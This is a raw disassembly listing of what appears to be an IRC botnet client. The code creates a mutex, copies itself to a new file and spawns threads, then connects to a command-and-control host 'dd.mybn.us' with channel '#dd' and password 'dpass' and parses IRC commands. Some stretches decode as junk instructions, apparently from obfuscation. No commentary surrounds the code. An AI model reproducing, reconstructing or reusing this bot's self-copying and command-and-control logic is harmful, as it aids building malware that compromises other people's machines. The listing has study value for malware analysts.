push edi
mov [ebp-8], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-4], offset loc_4089FD
push dword ptr [ebp-4]
push large dword ptr fs:0
mov large fs:0, esp
cmp ds:dword_423000, ebx
jz short loc_408B1E
call sub_407261
loc_408B1E: ; CODE XREF: seg000:00408B17j
mov esi, ds:dword_41C04C
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ds:dword_45EBC8, eax
call esi ; GetTickCount
push eax
call sub_41055D
pop ecx
call sub_405D8E
push 2
call ds:dword_43083C ; SetErrorMode
push 7530h
push offset aIds44433 ; "ids44433"
push ebx
push ebx
call near ptr 10B0004h
cmpsd
push eax
call near ptr 1270004h
pusha
cmp eax, 102h
jnz short loc_408B72
push 1
call ds:dword_41C0F8 ; ExitProcess
loc_408B72: ; CODE XREF: seg000:00408B68j
lea eax, [ebp-884h]
push eax
push 202h
call ds:dword_430718 ; WSAStartup
cmp eax, ebx
jnz loc_4090A7
cmp byte ptr [ebp-884h], 2
jnz loc_4090A1
xor eax, eax
mov al, [ebp-883h]
cmp al, 2
jnz loc_4090A1
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
call near ptr 1290004h
dec ecx
lea eax, [ebp-2ECh]
push esi
push eax
push ebx
call near ptr 12B0004h
mov esp, 7433E850h
in al, dx
add [ecx], dh
lea eax, [ebp-5F4h]
push eax
lea eax, [ebp-6F4h]
push eax
push ebx
lea eax, [ebp-2ECh]
push ebx
push eax
call sub_4121E8
lea eax, [ebp-5F4h]
push eax
lea eax, [ebp-6F4h]
push eax
push offset aSS_2 ; "%s%s"
lea eax, [ebp-4F4h]
push esi
push eax
call sub_410A8A
lea eax, [ebp-3F0h]
push eax
lea eax, [ebp-2ECh]
push eax
call sub_410AE0
add esp, 30h
test eax, eax
jnz loc_408DE4
cmp ds:dword_45ED38, ebx
mov esi, offset byte_423068
jz short loc_408C6A
push esi
xor edi, edi
call sub_410B60
sub eax, 4
pop ecx
jz short loc_408C6A
loc_408C47: ; CODE XREF: seg000:00408C68j
call sub_410567
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov ds:byte_423068[edi], dl
inc edi
call sub_410B60
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_408C47
loc_408C6A: ; CODE XREF: seg000:00408C37j
; seg000:00408C45j
lea eax, [ebp-3F0h]
push esi
push eax
lea eax, [ebp-1E8h]
push offset dword_42A12C
push eax
call sub_41050B
add esp, 10h
lea eax, [ebp-1E8h]
push eax
call ds:dword_41C07C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_408CAA
lea eax, [ebp-1E8h]
push 80h
push eax
call near ptr 3E0000h
pop eax
loc_408CAA: ; CODE XREF: seg000:00408C96j
mov esi, ds:dword_41C108
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
xor edi, edi
push eax
loc_408CC1: ; CODE XREF: seg000:00408CF8j
call esi ; CopyFileA
test eax, eax
jnz short loc_408CFA
call ds:dword_41C068 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_408CFA
cmp eax, 20h
jz short loc_408CDB
cmp eax, 5
jnz short loc_408CFA
loc_408CDB: ; CODE XREF: seg000:00408CD4j
push 1
pop edi
push 3A98h
call ds:dword_41C058 ; Sleep
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
push eax
jmp short loc_408CC1
; ---------------------------------------------------------------------------
loc_408CFA: ; CODE XREF: seg000:00408CC5j
; seg000:00408CCFj ...
lea eax, [ebp-1E8h]
push eax
call sub_407013
pop ecx
lea eax, [ebp-1E8h]
push 7
push eax
call near ptr 1330004h
jmp short loc_408D81
; ---------------------------------------------------------------------------
db 10h
dd 53E0458Dh, 786EE850h, 446A0000h, 0FF1C858Dh, 565EFFFFh
dd 5DE85053h, 83000078h, 0B58918C4h, 0FFFFFF1Ch, 0FF2885C7h
dd 0F3E8FFFFh, 89660042h, 0FFFF4C9Dh, 5E016AFFh, 0FF48B589h
dd 0A9E8FFFFh, 0AC00F472h, 685650h, 0E8001000h, 0F6729Ch
dd 148D8D9Ah, 51FFFFFDh, 18858D50h, 50FFFFFEh, 0F678858Dh
dd 2068FFFFh
db 0A1h
; ---------------------------------------------------------------------------
loc_408D81: ; CODE XREF: seg000:00408D15j
inc edx
add [eax-18h], dl
xor byte ptr [edi+0], 0
add esp, 14h
lea eax, [ebp-20h]
push eax
lea eax, [ebp-0E4h]
push eax
lea eax, [ebp-3F0h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-988h]
push ebx
push eax
lea eax, [ebp-1E8h]
push eax
call near ptr 1390004h
dec edx
test eax, eax
jz short loc_408DE4
push 0C8h
call ds:dword_41C058 ; Sleep
push dword ptr [ebp-20h]
mov esi, ds:dword_41C070
call esi ; CloseHandle
push dword ptr [ebp-1Ch]
call esi ; CloseHandle
call ds:dword_430700 ; WSACleanup
push ebx
call ds:dword_41C0F8 ; ExitProcess
loc_408DE4: ; CODE XREF: seg000:00408C26j
; seg000:00408DBAj
cmp ds:dword_45F860, 2
jle short near ptr loc_408E2F+1
mov eax, ds:dword_45F864
push dword ptr [eax+4]
call sub_410A7F
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call near ptr 3E0000h
das
push esi
call ds:dword_41C070 ; CloseHandle
mov eax, ds:dword_45F864
cmp [eax+8], ebx
jz short near ptr loc_408E2F+1
push 7D0h
call ds:dword_41C058 ; Sleep
mov eax, ds:dword_45F864
push dword ptr [eax+8]
call near ptr 3E0000h
loc_408E2F: ; CODE XREF: seg000:00408DEBj
; seg000:00408E15j
les edi, [ecx]
sbb eax, offset dword_423008
jz short loc_408E4D
cmp ds:dword_430860, ebx
jnz short loc_408E4D
lea eax, [ebp-4F4h]
push eax
call sub_40801D
pop ecx
loc_408E4D: ; CODE XREF: seg000:00408E36j
; seg000:00408E3Ej
lea eax, [ebp-0A0h]
push offset dword_42A0F4
push eax
call sub_41050B
push ebx
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_40FFB7
lea eax, [ebp-0A0h]
push eax
call sub_407E0E
push 0B80h
push ebx
push offset dword_434B58
call sub_410590
lea eax, [ebp-0A0h]
push offset unk_42A0B4
push eax
call sub_41050B
push ebx
lea eax, [ebp-0A0h]
push 1
push eax
call sub_40FFB7
add esp, 38h
mov esi, eax
mov edi, ds:dword_41C06C
lea eax, [ebp-8]
push eax
push ebx
push ebx
push offset loc_40FF99
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov ds:dword_4358EC[esi], eax
jnz short loc_408EED
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-0A0h]
push offset unk_42A064
push eax
call sub_41050B
add esp, 0Ch
loc_408EED: ; CODE XREF: seg000:00408ED0j
lea eax, [ebp-0A0h]
push eax
call sub_407E0E
lea eax, [ebp-0A0h]
mov dword ptr [esp], offset unk_42A028
push eax
call sub_41050B
push ebx
lea eax, [ebp-0A0h]
push 1
push eax
call sub_40FFB7
add esp, 14h
mov esi, eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-4F4h]
push ebx
push eax
push offset sub_40808D
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov ds:dword_4358EC[esi], eax
jnz short loc_408F60
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-0A0h]
push offset unk_429FD8
push eax
call sub_41050B
add esp, 0Ch
loc_408F60: ; CODE XREF: seg000:00408F43j
lea eax, [ebp-0A0h]
push eax
call sub_407E0E
call sub_410567
push 7Fh
push offset aDd_mybn_us ; "dd.mybn.us"
push offset dword_45EBD4
mov ds:dword_45ED4C, ebx
call sub_411D00
mov eax, ds:dword_422FEC
push 3Fh
mov edi, offset dword_45EC54
push offset aDd ; "#dd"
push edi
mov ds:dword_45ED24, eax
call sub_411D00
push 3Fh
mov esi, offset dword_45EC94
push offset aDpass ; "dpass"
push esi
call sub_411D00
add esp, 28h
mov ds:dword_45ED28, ebx
loc_408FBF: ; CODE XREF: seg000:00409047j
; seg000:00409052j ...
mov [ebp-4], ebx
loc_408FC2: ; CODE XREF: seg000:00408FFBj
push offset dword_45EBD0
mov ds:dword_45ED48, ebx
call sub_4090B0
cmp eax, 2
mov [ebp-10h], eax
jz loc_40909C
cmp ds:dword_45ED48, ebx
jz short loc_408FE9
dec dword ptr [ebp-4]
loc_408FE9: ; CODE XREF: seg000:00408FE4j
push 0BB8h
call ds:dword_41C058 ; Sleep
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_408FC2
cmp dword ptr [ebp-10h], 2
jz loc_40909C
cmp [ebp-0Ch], ebx
jz short loc_40904C
push 7Fh
push offset aDd_mybn_us ; "dd.mybn.us"
push offset dword_45EBD4
call sub_411D00
mov eax, ds:dword_422FEC
push 3Fh
push offset aDd ; "#dd"
push edi
mov ds:dword_45ED24, eax
call sub_411D00
push 3Fh
push offset aDpass ; "dpass"
push esi
call sub_411D00
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_408FBF
; ---------------------------------------------------------------------------
loc_40904C: ; CODE XREF: seg000:0040900Aj
cmp ds:byte_423050, bl
jz loc_408FBF
push 7Fh
push offset byte_423050
push offset dword_45EBD4
call sub_411D00
mov eax, ds:dword_422FF0
push 3Fh
push offset dword_42305C
push edi
mov ds:dword_45ED24, eax
call sub_411D00
push 3Fh
push offset aDpass_0 ; "dpass"
push esi
call sub_411D00
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_408FBF
; ---------------------------------------------------------------------------
loc_40909C: ; CODE XREF: seg000:00408FD8j
; seg000:00409001j
call sub_410180
loc_4090A1: ; CODE XREF: seg000:00408B93j
; seg000:00408BA3j
call ds:dword_430700 ; WSACleanup
loc_4090A7: ; CODE XREF: seg000:00408B86j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4090B0 proc near ; CODE XREF: seg000:00408FCDp
; DATA XREF: seg000:0040C4CBo
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_4090D5: ; CODE XREF: sub_4090B0+E6j
; sub_4090B0+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_410590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call ds:dword_430794 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40731F
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_409202
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_410590
push 0
lea eax, [ebp+var_2C]
push ds:dword_45ED3C
push ds:dword_423014
push eax
call sub_40FA4E
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_4358F0
push edi
push eax
call sub_411D00
add esp, 28h
push 6
push 1
push 2
call ds:dword_430810 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov ds:dword_4358E4[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_430740 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40919B
push esi
call ds:dword_430828 ; closesocket
call sub_407348
push 7D0h
loc_409190: ; CODE XREF: sub_4090B0+146j
call ds:dword_41C058 ; Sleep
jmp loc_4090D5
; ---------------------------------------------------------------------------
loc_40919B: ; CODE XREF: sub_4090B0+CDj
lea eax, [ebp+var_18C]
push eax
push offset dword_42A134
call sub_407E82
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_409218
add esp, 28h
mov edi, eax
push esi
call ds:dword_430828 ; closesocket
test edi, edi
jz loc_4090D5
cmp edi, 1
jnz short loc_4091F8
push 0DBBA0h
jmp short loc_409190
; ---------------------------------------------------------------------------
loc_4091F8: ; CODE XREF: sub_4090B0+13Fj
cmp edi, 2
jz short loc_409206
jmp loc_4090D5
; ---------------------------------------------------------------------------
loc_409202: ; CODE XREF: sub_4090B0+5Aj
xor eax, eax
jmp short loc_409212
; ---------------------------------------------------------------------------
loc_409206: ; CODE XREF: sub_4090B0+14Bj
push [ebp+var_34]
call sub_4102D3
pop ecx
push 2
pop eax
loc_409212: ; CODE XREF: sub_4090B0+154j
pop edi
pop esi
leave
retn 4
sub_4090B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409218 proc near ; CODE XREF: sub_4090B0+123p
var_1A10 = byte ptr -1A10h
var_A10 = byte ptr -0A10h
var_240 = byte ptr -240h
var_1A0 = byte ptr -1A0h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A10h
call sub_410BE0
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_1A0]
pop ecx
loc_409236: ; CODE XREF: sub_409218+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_409236
cmp ds:byte_45ED40, bl
jz short loc_40925D
push offset byte_45ED40
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_40E321
add esp, 0Ch
loc_40925D: ; CODE XREF: sub_409218+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40FA4E
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41050B
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call ds:dword_4307E0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4092C7
push [ebp+arg_0]
call ds:dword_430828 ; closesocket
push 1388h
call ds:dword_41C058 ; Sleep
loc_4092C0: ; CODE XREF: sub_409218+D9j
; sub_409218+153j
xor eax, eax
loc_4092C2: ; CODE XREF: sub_409218+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4092C7: ; CODE XREF: sub_409218+92j
; sub_409218+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A10]
push esi
push ebx
push eax
call sub_410590
add esp, 0Ch
lea eax, [ebp+var_1A10]
push ebx
push esi
push eax
push [ebp+arg_0]
call ds:dword_4307AC ; recv
test eax, eax
jle short loc_4092C0
lea eax, [ebp+var_A10]
push eax
lea eax, [ebp+var_1A10]
push eax
call sub_406CFF
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_4092C7
lea edi, [ebp+var_A10]
loc_409318: ; CODE XREF: sub_409218+165j
push 1
pop esi
loc_40931B: ; CODE XREF: sub_409218+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call loc_409390
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_40935E
push 7D0h
call ds:dword_41C058 ; Sleep
jmp short loc_40931B
; ---------------------------------------------------------------------------
loc_40935E: ; CODE XREF: sub_409218+137j
cmp esi, 0FFFFFFFDh
jz short loc_409388
cmp esi, 0FFFFFFFEh
jz short loc_409384
cmp esi, 0FFFFFFFFh
jz loc_4092C0
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_409318
jmp loc_4092C7
; ---------------------------------------------------------------------------
loc_409384: ; CODE XREF: sub_409218+14Ej
push 1
jmp short loc_40938A
; ---------------------------------------------------------------------------
loc_409388: ; CODE XREF: sub_409218+149j
push 2
loc_40938A: ; CODE XREF: sub_409218+16Ej
pop eax
jmp loc_4092C2
sub_409218 endp
; ---------------------------------------------------------------------------
loc_409390: ; CODE XREF: sub_409218+12Ap
push ebp
mov ebp, esp
mov eax, 159Ch
call sub_410BE0
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp-2E4h]
push ebx
push eax
mov dword ptr [ebp-0ACh], 3
mov [ebp-10h], ebx
mov [ebp-0A8h], ebx
mov [ebp-8], ebx
mov [ebp-4], ebx
mov [ebp-0C8h], ebx
call sub_410590
push 1Bh
lea eax, [ebp-464h]
push dword ptr [ebp+18h]
push eax
call sub_411D00
add esp, 18h
cmp [ebp+8], ebx
jz loc_40980B
push esi
lea eax, [ebp-0F9Ch]
push ebx
push eax
call sub_410590
dec esi
lea eax, [ebp-0F9Ch]
push esi
push dword ptr [ebp+8]
push eax
call sub_411D00
lea eax, [ebp-0F9Ch]
push offset asc_42CBAC ; " :"
push eax
call sub_410AE0
mov [ebp-0Ch], eax
lea eax, [ebp-0F9Ch]
push esi
push eax
lea eax, [ebp-119Ch]
push eax
call sub_411D00
mov esi, offset asc_41F6B0 ; " "
lea eax, [ebp-119Ch]
push esi
push eax
call sub_411C60
add esp, 34h
mov [ebp-0A0h], eax
lea edi, [ebp-9Ch]
mov dword ptr [ebp-0A4h], 1Fh
loc_409463: ; CODE XREF: seg000:00409477j
push esi
push ebx
call sub_411C60
mov [edi], eax
pop ecx
add edi, 4
dec dword ptr [ebp-0A4h]
pop ecx
jnz short loc_409463
mov esi, [ebp-0A0h]
cmp esi, ebx
jz loc_40980B
cmp [ebp-9Ch], ebx
jz loc_40980B
push 100h
lea eax, [ebp-0A14h]
push ebx
push eax
call sub_410590
add esp, 0Ch
lea ecx, [ebp-24h]
push 1Fh
pop edx
push 1
pop edi
loc_4094B1: ; CODE XREF: seg000:004094E3j
mov eax, [ecx]
cmp eax, ebx
jz short loc_4094DD
cmp byte ptr [eax], 2Dh
jnz short loc_4094E5
cmp [eax+2], bl
jnz short loc_4094E5
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov byte ptr [ebp+esi-0A14h], 1
mov esi, [ebp-0A0h]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_4094DD: ; CODE XREF: seg000:004094B5j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_4094B1
loc_4094E5: ; CODE XREF: seg000:004094BAj
; seg000:004094BFj
cmp [ebp-9A1h], bl
jz short loc_4094F0
mov [ebp-8], edi
loc_4094F0: ; CODE XREF: seg000:004094EBj
cmp [ebp-9A6h], bl
jz short loc_4094FE
mov [ebp-8], ebx
mov [ebp-4], edi
loc_4094FE: ; CODE XREF: seg000:004094F6j
cmp byte ptr [esi], 0Ah
jz short loc_409538
push 7Fh
lea eax, [ebp-0A94h]
push esi
push eax
call sub_411D00
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp-0C4h]
push eax
call sub_411D00
lea eax, [ebp-0C4h]
push offset dword_42625C
push eax
call sub_411C60
add esp, 20h
loc_409538: ; CODE XREF: seg000:00409501j
push esi
push offset aPing ; "PING"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_409589
push dword ptr [ebp-9Ch]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
mov eax, [ebp+28h]
add esp, 0Ch
cmp [eax], ebx
jnz loc_40962D
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
add esp, 10h
jmp loc_40962D
; ---------------------------------------------------------------------------
loc_409589: ; CODE XREF: seg000:00409547j
mov esi, [ebp-9Ch]
push esi
push offset a001 ; "001"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40E2DB
push esi
push offset a005 ; "005"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40E2DB
push esi
push offset a302 ; "302"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_4095F4
push offset a@_6 ; "@"
push dword ptr [ebp-94h]
call sub_410AE0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40962D
inc eax
push 9Fh
push eax
push dword ptr [ebp+24h]
call sub_411D00
add esp, 0Ch
jmp short loc_40962D
; ---------------------------------------------------------------------------
loc_4095F4: ; CODE XREF: seg000:004095C8j
push esi
push offset a433 ; "433"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_409634
push ebx
push ds:dword_45ED3C
push ds:dword_423014
push dword ptr [ebp+18h]
call sub_40FA4E
push dword ptr [ebp+18h]
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
add esp, 1Ch
loc_40962D: ; CODE XREF: seg000:00409568j
; seg000:00409584j ...
mov eax, edi
jmp loc_40980E
; ---------------------------------------------------------------------------
loc_409634: ; CODE XREF: seg000:00409603j
mov esi, [ebp+20h]
mov dword ptr [ebp-0A4h], 2
mov edi, 80h
loc_409646: ; CODE XREF: seg000:0040966Bj
lea eax, [ebp-0A94h]
push eax
push esi
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_409663
mov dword ptr [ebp-0A8h], 1
loc_409663: ; CODE XREF: seg000:00409657j
add esi, edi
dec dword ptr [ebp-0A4h]
jnz short loc_409646
mov esi, [ebp-9Ch]
push esi
push offset aKick ; "KICK"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz loc_40975A
mov esi, [ebp+20h]
mov dword ptr [ebp+2Ch], 2
loc_409692: ; CODE XREF: seg000:0040971Fj
cmp [esi], bl
jz loc_40971A
push 7Fh
lea eax, [ebp-0A94h]
push esi
push eax
call sub_411D00
lea eax, [ebp-0C4h]
add esp, 0Ch
test eax, eax
jz short loc_40971A
cmp [ebp-94h], ebx
jz short loc_40971A
push dword ptr [ebp-94h]
lea eax, [ebp-0C4h]
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40971A
lea eax, [ebp-0C4h]
mov [esi], bl
push eax
lea eax, [ebp-2E4h]
push offset dword_42CB38
push eax
call sub_41050B
lea eax, [ebp-2E4h]
push eax
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
lea eax, [ebp-2E4h]
push eax
call sub_407E0E
add esp, 20h
loc_40971A: ; CODE XREF: seg000:00409694j
; seg000:004096B4j ...
add esi, edi
dec dword ptr [ebp+2Ch]
jnz loc_409692
push dword ptr [ebp-94h]
push dword ptr [ebp+18h]
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz loc_40980B
push dword ptr [ebp+14h]
mov eax, [ebp+28h]
push dword ptr [ebp+10h]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_40974D: ; CODE XREF: seg000:0040998Cj
; seg000:00409C58j
push dword ptr [ebp+0Ch]
call sub_40E321
jmp loc_40DCD4
; ---------------------------------------------------------------------------
loc_40975A: ; CODE XREF: seg000:00409682j
push esi
push offset aNick ; "NICK"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz loc_4098A0
mov eax, [ebp-98h]
mov esi, [ebp+20h]
inc eax
mov dword ptr [ebp+8], 2
mov [ebp+2Ch], eax
loc_409783: ; CODE XREF: seg000:004097D5j
lea eax, [ebp-0A94h]
push eax
push esi
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_4097D0
lea eax, [ebp-0A94h]
push 21h
push eax
call sub_412760
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+24h], eax
jz short loc_4097D0
push dword ptr [ebp+2Ch]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_411B70
push dword ptr [ebp+24h]
push edi
call sub_411B80
add esp, 10h
mov edi, 80h
loc_4097D0: ; CODE XREF: seg000:00409794j
; seg000:004097ABj
add esi, edi
dec dword ptr [ebp+8]
jnz short loc_409783
lea eax, [ebp-0C4h]
test eax, eax
jz short loc_40980B
cmp [ebp+2Ch], ebx
jz short loc_40980B
push dword ptr [ebp+18h]
lea eax, [ebp-0C4h]
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_409813
push 0Fh
push dword ptr [ebp+2Ch]
push dword ptr [ebp+18h]
call sub_411D00
add esp, 0Ch
loc_40980B: ; CODE XREF: seg000:004093EBj
; seg000:00409481j ...
push 1
loc_40980D: ; CODE XREF: seg000:0040DF9Ej
pop eax
loc_40980E: ; CODE XREF: seg000:0040962Fj
; seg000:0040C68Fj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_409813: ; CODE XREF: seg000:004097F9j
mov edi, [ebp+20h]
xor esi, esi
loc_409818: ; CODE XREF: seg000:00409839j
cmp [edi], bl
jz short loc_40982F
lea eax, [ebp-0A94h]
push eax
push edi
call sub_410930
pop ecx
test eax, eax
pop ecx
jz short loc_40983D
loc_40982F: ; CODE XREF: seg000:0040981Aj
inc esi
add edi, 80h
cmp esi, 2
jl short loc_409818
jmp short loc_40980B
; ---------------------------------------------------------------------------
loc_40983D: ; CODE XREF: seg000:0040982Dj
lea eax, [ebp-0A94h]
push 21h
push eax
call sub_412760
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+8], eax
jz short loc_40980B
push eax
call sub_410B60
push dword ptr [ebp+2Ch]
mov edi, eax
call sub_410B60
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_40980B
push dword ptr [ebp+8]
shl esi, 7
push dword ptr [ebp+2Ch]
add esi, [ebp+20h]
push offset aSS_0 ; ":%s%s"
push esi
call sub_41050B
push ebx
lea eax, [ebp-4C8h]
push ebx
push eax
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 24h
jmp loc_40980B
; ---------------------------------------------------------------------------
loc_4098A0: ; CODE XREF: seg000:00409769j
push esi
push offset aPart ; "PART"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz short loc_4098C2
push esi
push offset aQuit ; "QUIT"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_4098E9
loc_4098C2: ; CODE XREF: seg000:004098AFj
mov edi, [ebp+20h]
xor esi, esi
loc_4098C7: ; CODE XREF: seg000:004098E7j
cmp [edi], bl
jz short loc_4098DD
push dword ptr [ebp-0A0h]
push edi
call sub_410930
pop ecx
test eax, eax
pop ecx
jz short loc_409930
loc_4098DD: ; CODE XREF: seg000:004098C9j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_4098C7
loc_4098E9: ; CODE XREF: seg000:004098C0j
push dword ptr [ebp-9Ch]
push offset a353 ; "353"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz loc_409991
push dword ptr [ebp-90h]
push dword ptr [ebp+10h]
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_409920
mov eax, [ebp+28h]
mov dword ptr [eax], 1
loc_409920: ; CODE XREF: seg000:00409915j
push dword ptr [ebp-90h]
push offset dword_42CAD8
jmp loc_40E2CF
; ---------------------------------------------------------------------------
loc_409930: ; CODE XREF: seg000:004098DBj
mov eax, [ebp+20h]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-2E4h]
push offset dword_42CAA4
push eax
call sub_41050B
lea eax, [ebp-2E4h]
push eax
call sub_407E0E
push dword ptr [ebp-9Ch]
push offset aPart ; "PART"
call sub_410930
add esp, 18h
test eax, eax
jnz loc_40980B
lea eax, [ebp-2E4h]
push eax
mov eax, [ebp-0A0h]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_40974D
; ---------------------------------------------------------------------------
loc_409991: ; CODE XREF: seg000:004098FDj
push dword ptr [ebp-9Ch]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_410930
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_4099E5
push dword ptr [ebp-9Ch]
push edi
call sub_410930
pop ecx
test eax, eax
pop ecx
jz short loc_4099E5
push dword ptr [ebp-9Ch]
push offset a332 ; "332"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz loc_40E148
cmp ds:dword_423004, ebx
jz loc_40E148
loc_4099E5: ; CODE XREF: seg000:004099ABj
; seg000:004099BDj
push dword ptr [ebp-9Ch]
push esi
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_409AEB
push dword ptr [ebp-9Ch]
push edi
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_409AEB
mov eax, [ebp-94h]
inc dword ptr [ebp-90h]
push 4
mov [ebp-98h], eax
pop esi
mov [ebp-0ACh], esi
loc_409A2C: ; CODE XREF: seg000:00409BA7j
; seg000:00409C2Dj ...
shl esi, 2
mov ecx, [ebp+esi-0A0h]
lea eax, [ebp+esi-0A0h]
